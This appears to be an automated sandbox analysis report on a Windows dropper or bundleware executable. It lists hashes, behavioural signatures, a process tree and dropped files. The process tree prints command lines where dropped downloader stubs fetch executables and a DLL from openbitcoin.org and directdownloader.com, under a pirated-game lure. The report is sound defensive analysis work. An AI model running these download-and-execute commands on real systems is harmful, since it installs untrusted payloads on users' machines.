3e878e05c05772860909988bdeb39180e55437e43399c4ad05bf73d8e5f11383

General

Target

119d889b6a274add9ca3e8ffe15f7972.exe
Size

511KB
MD5

119d889b6a274add9ca3e8ffe15f7972
SHA1

b4d8c24bd99316a8799db3a11f567360da19adb7
SHA256

3e878e05c05772860909988bdeb39180e55437e43399c4ad05bf73d8e5f11383
SHA512

e9460fa27cb2cc15826b594df8bafd590ce569cefc08ac8de7ecabbc813e18477c7f1e99a34b9235bf6b389a3a14f3c702117cd5750bb06d6966e86355c95e4b
SSDEEP

12288:AB38C6peEUBwXVwM9vylzdYvH7Aw5XoR0g46:ABsC8XVNCiH7j4RH

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 6 IoCs

pid	Process
1808	downloaderSTUB.exe
2892	downloaderSTUB.exe
4624	downloaderSTUB.exe
5064	downloaderDDLR.exe
2532	downloaderOFFER0.exe
1608	preinstaller.exe

Loads dropped DLL 25 IoCs

pid	Process
2892	downloaderSTUB.exe
2532	downloaderOFFER0.exe
4624	downloaderSTUB.exe
5064	downloaderDDLR.exe
1808	downloaderSTUB.exe
2892	downloaderSTUB.exe
2532	downloaderOFFER0.exe
4624	downloaderSTUB.exe
1808	downloaderSTUB.exe
5064	downloaderDDLR.exe
2892	downloaderSTUB.exe
2532	downloaderOFFER0.exe
4624	downloaderSTUB.exe
1808	downloaderSTUB.exe
5064	downloaderDDLR.exe
2892	downloaderSTUB.exe
2532	downloaderOFFER0.exe
4624	downloaderSTUB.exe
1808	downloaderSTUB.exe
5064	downloaderDDLR.exe
2892	downloaderSTUB.exe
2532	downloaderOFFER0.exe
4624	downloaderSTUB.exe
1808	downloaderSTUB.exe
5064	downloaderDDLR.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

NSIS installer 4 IoCs

installer

resource	yara_rule
behavioral2/files/0x00060000000231ed-4.dat	nsis_installer_1
behavioral2/files/0x00060000000231ed-4.dat	nsis_installer_2
behavioral2/files/0x000a000000022d84-21.dat	nsis_installer_1
behavioral2/files/0x000a000000022d84-21.dat	nsis_installer_2

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 2292 wrote to memory of 1808	2292	119d889b6a274add9ca3e8ffe15f7972.exe	88
PID 2292 wrote to memory of 1808	2292	119d889b6a274add9ca3e8ffe15f7972.exe	88
PID 2292 wrote to memory of 1808	2292	119d889b6a274add9ca3e8ffe15f7972.exe	88
PID 2292 wrote to memory of 2892	2292	119d889b6a274add9ca3e8ffe15f7972.exe	89
PID 2292 wrote to memory of 2892	2292	119d889b6a274add9ca3e8ffe15f7972.exe	89
PID 2292 wrote to memory of 2892	2292	119d889b6a274add9ca3e8ffe15f7972.exe	89
PID 2292 wrote to memory of 4624	2292	119d889b6a274add9ca3e8ffe15f7972.exe	90
PID 2292 wrote to memory of 4624	2292	119d889b6a274add9ca3e8ffe15f7972.exe	90
PID 2292 wrote to memory of 4624	2292	119d889b6a274add9ca3e8ffe15f7972.exe	90
PID 2292 wrote to memory of 5064	2292	119d889b6a274add9ca3e8ffe15f7972.exe	91
PID 2292 wrote to memory of 5064	2292	119d889b6a274add9ca3e8ffe15f7972.exe	91
PID 2292 wrote to memory of 5064	2292	119d889b6a274add9ca3e8ffe15f7972.exe	91
PID 2292 wrote to memory of 2532	2292	119d889b6a274add9ca3e8ffe15f7972.exe	93
PID 2292 wrote to memory of 2532	2292	119d889b6a274add9ca3e8ffe15f7972.exe	93
PID 2292 wrote to memory of 2532	2292	119d889b6a274add9ca3e8ffe15f7972.exe	93
PID 2292 wrote to memory of 1608	2292	119d889b6a274add9ca3e8ffe15f7972.exe	92
PID 2292 wrote to memory of 1608	2292	119d889b6a274add9ca3e8ffe15f7972.exe	92
PID 2292 wrote to memory of 1608	2292	119d889b6a274add9ca3e8ffe15f7972.exe	92

C:\Users\Admin\AppData\Local\Temp\119d889b6a274add9ca3e8ffe15f7972.exe
"C:\Users\Admin\AppData\Local\Temp\119d889b6a274add9ca3e8ffe15f7972.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2292
- C:\Users\Admin\AppData\Local\Temp\88a5f31816147a1d289415a56cee2217\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\88a5f31816147a1d289415a56cee2217\downloaderSTUB.exe /U "http://www.openbitcoin.org/static/dist/obc.exe" /D "C:\Users\Admin\AppData\Local\Temp\88a5f31816147a1d289415a56cee2217\stub.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:1808
- C:\Users\Admin\AppData\Local\Temp\88a5f31816147a1d289415a56cee2217\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\88a5f31816147a1d289415a56cee2217\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/OpenCL.dll" /D "C:\Users\Admin\AppData\Local\Temp\88a5f31816147a1d289415a56cee2217\OpenCL.dll"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2892
- C:\Users\Admin\AppData\Local\Temp\88a5f31816147a1d289415a56cee2217\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\88a5f31816147a1d289415a56cee2217\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/updater.exe" /D "C:\Users\Admin\AppData\Local\Temp\88a5f31816147a1d289415a56cee2217\updater.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:4624
- C:\Users\Admin\AppData\Local\Temp\88a5f31816147a1d289415a56cee2217\downloaderDDLR.exe
  C:\Users\Admin\AppData\Local\Temp\88a5f31816147a1d289415a56cee2217\downloaderDDLR.exe /U "http://www.directdownloader.com/DirectDownloaderInstaller.exe" /D "C:\Users\Admin\AppData\Local\Temp\88a5f31816147a1d289415a56cee2217\DirectDownloaderInstaller.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:5064
- C:\Users\Admin\AppData\Local\Temp\88a5f31816147a1d289415a56cee2217\preinstaller.exe
  C:\Users\Admin\AppData\Local\Temp\88a5f31816147a1d289415a56cee2217\preinstaller.exe 0 "the walking dead <br/>episode 3 long road ahead-reloaded" "Download"
  2⤵
  - Executes dropped EXE
  PID:1608
- C:\Users\Admin\AppData\Local\Temp\88a5f31816147a1d289415a56cee2217\downloaderOFFER0.exe
  C:\Users\Admin\AppData\Local\Temp\88a5f31816147a1d289415a56cee2217\downloaderOFFER0.exe /U "http://www.directdownloader.com/toolbars/optimizer.exe" /D "C:\Users\Admin\AppData\Local\Temp\88a5f31816147a1d289415a56cee2217\optimizer.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  PID:2532

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\88a5f31816147a1d289415a56cee2217\downloaderOFFER2.exe

Filesize
58KB

MD5
c7f6ed56312c8fbb58ae6ed445c38df4

SHA1
e2dba94ef052db774478b9f7198c1a2298b334e5

SHA256
fdb8452173a4f116f6e362ab5466c3c16bf6697502fe3d01db0d82f0e339de24

SHA512
ac43e5bb31c3c0876a7768553916cce76d92088e62594e8463b128a0d6e587c48152a5efcf0b2a5e8fb43028d46913df114ae3c3750b7e6c4212c7044518ba43

Download Submit
C:\Users\Admin\AppData\Local\Temp\88a5f31816147a1d289415a56cee2217\preinstaller.exe

Filesize
213KB

MD5
06baef00ae0f0e42fc5fea24fc4eac42

SHA1
9161574590f09cfe4c24498827386ed57f2e8c58

SHA256
19460c3c1b450286c68fba77086c561e740374ae5c44213dd2ec22dc52a430b8

SHA512
29431ff9f16fdd4122a10dfec0f260a4397e776daae2ef17defae71e037f082d48d186a24d229c408c9d1b0b4f02aaeaa69011e44cf399795f9c09903ac51486

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsp46BE.tmp\NSISdl.dll

Filesize
14KB

MD5
a5f8399a743ab7f9c88c645c35b1ebb5

SHA1
168f3c158913b0367bf79fa413357fbe97018191

SHA256
dacc88a12d3ba438fdae3535dc7a5a1d389bce13adc993706424874a782e51c9

SHA512
824e567f5211bf09c7912537c7836d761b0934207612808e9a191f980375c6a97383dbc6b4a7121c6b5f508cbfd7542a781d6b6b196ca24841f73892eec5e977

Download Submit
memory/1608-46-0x0000000000400000-0x000000000043F000-memory.dmp

Filesize
252KB

Download
memory/2292-45-0x0000000000400000-0x0000000000446000-memory.dmp

Filesize
280KB

Download

Analysis

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